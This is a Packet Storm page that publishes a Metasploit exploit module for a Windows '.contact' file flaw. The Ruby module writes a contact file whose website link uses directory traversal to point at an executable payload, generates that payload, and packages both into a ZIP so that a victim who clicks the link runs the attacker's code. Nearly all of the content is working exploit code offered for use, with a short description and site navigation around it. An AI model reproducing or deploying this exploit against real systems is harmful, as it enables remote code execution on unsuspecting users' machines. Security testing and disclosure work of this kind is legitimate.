exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Windows Contact File Format Arbitary Code Execution

Microsoft Windows Contact File Format Arbitary Code Execution
Posted Apr 11, 2019
Authored by hyp3rlinx, Brenner Little | Site metasploit.com

This Metasploit module allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to processing of contact files.

tags | exploit, remote, arbitrary
systems | windows
SHA-256 | 61fc32618fc4266b946f0130bc44154af701a9c7982e3296bf93f3a548745f3d

Microsoft Windows Contact File Format Arbitary Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'fileutils'
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Contact File Format Arbitary Code Execution',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of ".contact" files <c:Url> node param which takes an expected website value, however if an attacker references an
executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.
Executable files can live in a sub-directory so when the ".contact" website link is clicked it traverses directories towards the executable and runs.
Making matters worse is if the the files are compressed then downloaded "mark of the web" (MOTW) may potentially not work as expected with certain archive utilitys.
The ".\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.
This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.
},
'Author' =>
[ 'John Page (aka hyp3rlinx)', # Vuln discovery
'Brenner Little' # MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '46188'],
['URL', 'http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt'],
['ZDI', '19-013']
],
'DisclosureDate' => 'Jan 17 2019', # According to https://www.exploit-db.com/exploits/46188
'Privileged' => false,
'Platform' => 'win',
'Payload' => {
'DisableNops' => true
},
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Targets' => [['Windows', { }]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('WEBSITE', [true, 'The URL that the user must click to launch the payload.', 'www.metasploit.com']),
OptString.new('FILENAME', [true, 'The first and last name embdeed in the .CONTACT file (also used as the filename for the .CONTACT and .ZIP files)', 'John Smith']),
])
end
def exploit
contact_full_name = "#{datastore['FILENAME']}"
exe_filename = "#{datastore['WEBSITE']}"

xml_header = %Q|<?xml version="1.0" encoding="UTF-8"?>
\t<c:contact c:Version="1" xmlns:c="http://schemas.microsoft.com/Contact" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:MSP2P="http://schemas.microsoft.com/Contact/Extended/MSP2P">
\t<c:CreationDate>2019-04-10T20:19:26Z</c:CreationDate><c:Extended xsi:nil="true"/>
\t|

xml_body = %Q|
<c:ContactIDCollection>
<c:ContactID c:ElementID="492912d2-db87-4da2-9fb0-1a3533284d09"><c:Value>e3b2d76c-3355-4f54-b995-0ce0dcf84c8a</c:Value></c:ContactID>
</c:ContactIDCollection>
<c:NameCollection>
<c:Name c:ElementID="9c47b169-4385-40e9-97cf-cc2f55544c8d">
<c:FormattedName>CONTACT_FULL_NAME</c:FormattedName>
<c:FamilyName>CONTACT_LAST_NAME</c:FamilyName>
<c:GivenName>CONTACT_FIRST_NAME</c:GivenName>
</c:Name>
</c:NameCollection>
<c:PhotoCollection>
<c:Photo c:ElementID="9b2b24b3-2ce5-4553-abe1-8cb0cf7ad12e">
<c:LabelCollection>
<c:Label>UserTile</c:Label>
</c:LabelCollection>
</c:Photo>
</c:PhotoCollection>
<c:UrlCollection c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">
<c:Url c:ElementID="4aca9a0f-72fd-45ff-8683-1524caafd6e9" c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">
<c:Value c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">EXE_PATH</c:Value>
<c:LabelCollection>
<c:Label c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">Business</c:Label>
</c:LabelCollection>
</c:Url>
</c:UrlCollection>
</c:contact>|.gsub(/\n[ ]*/,'')

xml = xml_header + xml_body
xml.gsub!(/CONTACT_FULL_NAME/, contact_full_name);
xml.gsub!(/CONTACT_LAST_NAME/, contact_full_name.split(' ')[-1]);
xml.gsub!(/CONTACT_FIRST_NAME/, contact_full_name.split(' ')[0]);
xml.gsub!(/EXE_PATH/, "http.\\" + exe_filename);

exe = generate_payload_exe

zip = Rex::Zip::Archive.new
zip.add_file("/http/" + exe_filename, exe)
zip.add_file(contact_full_name + ".contact", xml)
zip.save_to(contact_full_name + ".zip")
print_good("Created '#{contact_full_name}.zip'")
end
end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close